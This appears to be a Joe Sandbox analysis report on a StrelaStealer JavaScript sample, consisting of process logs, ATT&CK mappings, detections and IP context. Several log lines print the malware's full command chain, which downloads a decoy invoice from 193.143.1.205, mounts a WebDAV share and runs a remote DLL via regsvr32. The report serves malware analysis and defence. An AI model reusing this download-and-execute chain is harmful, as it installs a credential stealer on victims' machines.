Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4785			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5092			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8088	Thread sleep count: 4785 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8092	Thread sleep count: 5092 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8132	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8156	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6788	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7456	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 0000000D.00000002.1340714355.0000012CE4261000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 0000000D.00000002.1340714355.0000012CE42BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2581764429.0000022EB9C54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2581698384.0000022EB9C41000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2579477675.0000022EB462B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1418132746179806359.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
1418132746179806359.js	10%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/~	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.15.dr	false		high
http://193.143.1.205/invoice.php	wscript.exe, 00000005.00000003.1288157466.0000014C4F7B8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 0000000F.00000002.2581610165.0000022EB9C00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.14.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 0000000F.00000003.1342193636.0000022EB9AA0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false		high
https://www.adobe.co	ReaderMessages.11.dr	false		high
http://193.143.1.205:8888/	net.exe, 0000000D.00000002.1340714355.0000012CE4261000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1340714355.0000012CE4290000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1340714355.0000012CE42B0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/~	net.exe, 0000000D.00000002.1340714355.0000012CE4290000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588940
Start date and time:	2025-01-11 07:24:52 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1418132746179806359.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 184.28.90.27, 2.23.197.184, 199.232.210.172, 2.16.168.107, 2.16.168.105, 23.219.161.132, 192.168.2.11, 13.107.246.45, 34.237.241.83, 23.47.168.24, 20.109.210.53
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:25:48	API Interceptor	22x Sleep call for process: powershell.exe modified
01:25:52	API Interceptor	1x Sleep call for process: net.exe modified
01:25:52	API Interceptor	2x Sleep call for process: svchost.exe modified
01:25:59	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30011267761667014058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32279194341766111087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1194187433219817322.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	187637497286212310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2650280751468214741.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24233226922003220721.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1554336511338510086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	131612862076531181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	30011267761667014058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32279194341766111087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26641100881772821841.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32486157991878827956.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1194187433219817322.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	187637497286212310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1775148551349412785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8008053080466079
Encrypted:	false
SSDEEP:	1536:CJD1YBdWK7S50AhnZ0Ag0ALzJVEbJBJlPVPEH3cNkPfF7Njg9QaQfOgFrGXuE5TL:CJC5rk0X+MbJ72D4qgfiaDhvO7VMBfo
MD5:	CCE2F2E6BCF2ECAC0AE398E95D3E7F3E
SHA1:	7519AAB50DFE2CBB900046CAAE8A884486351C9D
SHA-256:	57F6400120D9E3D58082B7D790C51BF895543F61F9755241C19B2BCD1CE19855
SHA-512:	944B718A299FC17B50338E0688E5BBBFCE427E94BD8A524DA03E6971F9F1D6A6A08ABE7EB1C40A92A06F0A52E0CDC5016E1C18BCA4EF6DD893A408144DA3EBAD
Malicious:	false
Preview:	dg".........@..@%9...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................T.....#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x90f9f61f, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7715690175375951
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/7vqlC06Z546I50AEzJ+Ykr3g16XWq2UPkLk+kFLKho38o38+W6:Taza9vqcHbrq2UyUVWlW
MD5:	E0714B81FCD81E35D7083580122C8CFD
SHA1:	0D28A3A508250EF998A900089E0C3892020E7CC7
SHA-256:	D27B7EBC73FA43A6D1FA46D76E35A19ED6404E6F785B2895A5252425650D6A01
